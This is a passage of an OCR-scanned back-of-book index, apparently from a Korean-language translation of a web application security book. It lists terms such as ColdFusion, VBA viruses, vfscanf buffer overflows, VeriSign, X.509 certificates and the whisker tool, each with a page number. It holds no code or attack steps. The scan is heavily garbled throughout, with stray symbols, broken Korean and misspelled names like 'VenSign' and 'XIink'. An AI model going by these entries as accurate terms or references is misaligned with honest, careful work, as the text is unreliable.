utimeO 함수, C/C++ 174 
utime 함수, perl 174 
UUID 추적 320 

ValO 함수와 ColdFusion 303,306 
VBA 에 대한 증명서 (certificates for) 277 ^ 
VBA 비早스와 보통형판 70-71 
VenSign 276-277 
verify (■쏘드 Java (verify 0 
method,Java) 218 
VeriSign 276-277 

vfscanf0 함 수와 C/C+ 완 충 기자리 넘침 _ 
(vfscanfO function, C/C++ buffer^.? 
overflow and) 168 

Visual Basic 로 작성된 CGI 스크립트 116 - * 
117 

WDD) (본문파케트와 ColdFusion 319 
Web 관련전자우편 73 
Web 봉사기 351 

Web 봉사기기록파일, ColdFusion 316 
Web 싸이트일반취약성과 로출된 Web 싸이 ^ 
m 137 

Web 등용프로그람의 보안 340 
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f-iweb 응용프로그람에서 보안구축의 우점 

호〜 •' (benefits of building security into), 
V ! 戶 326-327 

Web 응용프로그람을 위한 보안계획 
(security planning for) 373- 
377,379-380 
'^i^whisker tool 324 

X.509 증명서 220,336,340 
kjX.509 양식으로 암호화된 BASE64 340 
레 Xcert 으 I 보초병 (Sentry, Xcert’ s) 352 
^i'XIink 239,260 
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